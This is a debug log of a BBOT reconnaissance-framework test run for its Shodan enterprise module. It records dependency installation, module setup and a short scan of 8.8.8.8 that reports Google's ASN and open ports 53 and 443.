16:41:45,438 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-01 16:41:45,438 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-01 16:41:45,493 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-03-01 16:41:45,496 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-01 16:41:45,497 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-03-01 16:41:45,940 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-01 16:41:45,941 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-01 16:41:48,323 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-03-01 16:41:48,323 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-01 16:41:48,323 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-01 16:41:50,157 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-01 16:41:50,158 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-01 16:41:50,163 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:41:50,163 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-01 16:41:50,163 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:41:50,164 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-03-01 16:41:50,164 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-03-01 16:41:50,164 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-01 16:41:50,169 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/l4j0sisc13bt7pwyntzc +2026-03-01 16:41:51,256 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-03-01 16:41:51,257 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-01 16:41:51,257 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:41:51,258 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-01 16:41:51,258 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:41:51,258 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-01 16:41:51,260 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-03-01 16:41:51,385 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-03-01 16:41:51,386 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-01 16:41:51,386 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-03-01 16:41:51,388 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-03-01 16:41:51,388 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-03-01 16:41:51,389 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-01 16:41:51,389 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-03-01 16:41:51,390 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-03-01 16:41:51,390 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-01 16:41:51,391 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-03-01 16:41:51,391 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-01 16:41:51,392 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-01 16:41:51,392 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-01 16:41:51,392 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-01 16:41:51,392 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-01 16:41:51,392 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-01 16:41:51,393 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-01 16:41:51,393 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-01 16:41:51,393 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-01 16:41:51,394 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-01 16:41:51,394 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-01 16:41:51,394 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-01 16:41:51,394 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-01 16:41:51,394 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-01 16:41:51,395 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-01 16:41:51,395 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-01 16:41:51,395 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-01 16:41:51,395 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-01 16:41:51,396 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-01 16:41:51,396 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-01 16:41:51,396 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-01 16:41:51,396 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-01 16:41:51,397 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-01 16:41:51,397 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-01 16:41:51,397 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-01 16:41:51,398 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-01 16:41:51,398 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-01 16:41:51,398 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-01 16:41:51,398 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-01 16:41:51,398 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-01 16:41:51,399 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-01 16:41:51,399 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-01 16:41:51,399 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-03-01 16:41:51,399 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-01 16:41:51,400 [DEBUG] bbot base.py:111 Starting scan +2026-03-01 16:41:51,549 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_rkon46rcv7 +2026-03-01 16:41:51,549 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-03-01 16:41:51,658 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-03-01 16:41:51,659 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-01 16:41:51,659 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-01 16:41:51,661 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) +2026-03-01 16:41:51,760 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) passed post-check +2026-03-01 16:41:51,761 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) +2026-03-01 16:41:51,762 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) in-scope because its main host matches the scan target +2026-03-01 16:41:51,763 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 16:41:51,764 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:8838faef00c76494fc9f41db103d8cc803fa3514', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:41:51,765 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:8838faef00c76494fc9f41db103d8cc803fa3514', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:41:51,766 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-01 16:41:51,766 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 16:41:51,768 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:8838faef00c76494fc9f41db103d8cc803fa3514', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:41:51,769 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:8838faef00c76494fc9f41db103d8cc803fa3514', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 16:41:51,769 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:8838faef00c76494fc9f41db103d8cc803fa3514', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:41:51,771 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:8838faef00c76494fc9f41db103d8cc803fa3514', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:41:51,772 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:8838faef00c76494fc9f41db103d8cc803fa3514', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:41:51,774 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:8838faef00c76494fc9f41db103d8cc803fa3514', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:41:51,774 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:8838faef00c76494fc9f41db103d8cc803fa3514', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-01 16:41:51,778 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 16:41:51,779 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-01 16:41:51,779 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 16:41:51,780 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 16:41:51,780 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded +2026-03-01 16:41:51,781 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded +2026-03-01 16:41:51,781 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET +2026-03-01 16:41:51,782 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-01 16:41:51,782 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 16:41:51,884 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 16:41:51,885 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:8838faef00c76494fc9f41db103d8cc803fa3514', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-01 16:41:51,886 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:8838faef00c76494fc9f41db103d8cc803fa3514', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:41:51,886 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET +2026-03-01 16:41:51,887 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-01 16:41:51,887 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:41:51,887 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:41:51,888 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:41:51,889 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:41:51,889 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:41:51,890 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 16:41:51,890 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:41:51,891 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:41:51,891 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:41:51,892 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:41:51,892 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:41:51,893 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:41:51,893 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:41:51,894 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:41:51,894 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:41:51,895 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:41:51,895 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:41:51,896 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-03-01 16:41:51,896 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:41:51,897 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:41:51,897 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:41:51,898 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:41:51,898 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:41:51,899 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:41:51,900 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:41:51,900 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:41:51,901 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:41:51,901 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:41:51,902 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:41:51,902 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:41:51,902 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:41:51,903 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:41:51,903 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:41:51,904 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:41:51,904 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:41:51,905 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:41:51,905 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:41:51,905 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:41:51,906 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:41:51,906 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:41:51,907 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:41:51,907 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:41:51,988 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-03-01 16:41:51,990 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:41:51,991 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:41:51,991 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:41:51,991 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:41:51,992 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:41:51,992 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:41:51,993 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:41:51,993 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-01 16:41:51,994 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-01 16:41:51,994 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-01 16:41:51,995 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-01 16:41:51,995 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-03-01 16:41:51,996 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-01 16:41:51,996 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-01 16:41:51,996 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-01 16:41:52,097 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-01 16:41:52,098 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-03-01 16:41:52,117 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-01 16:41:52,117 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-01 16:41:52,118 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-01 16:41:52,129 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-01 16:41:52,130 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-03-01 16:41:52,131 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-01 16:41:52,132 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-03-01 16:41:52,133 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-03-01 16:41:52,133 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-03-01 16:41:52,249 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_rkon46rcv7 completed in 0 seconds with status FINISHED +2026-03-01 16:41:52,249 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-01 16:41:52,250 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:41:52,252 [CRITICAL] bbot test_module_shodan_enterprise.py:57 Found 1 ASN events +2026-03-01 16:41:52,252 [HUGEINFO] bbot test_module_shodan_enterprise.py:63 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} +2026-03-01 16:41:52,252 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-03-01 16:41:52,252 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-03-01 16:42:28,255 [DEBUG] bbot.module_loader 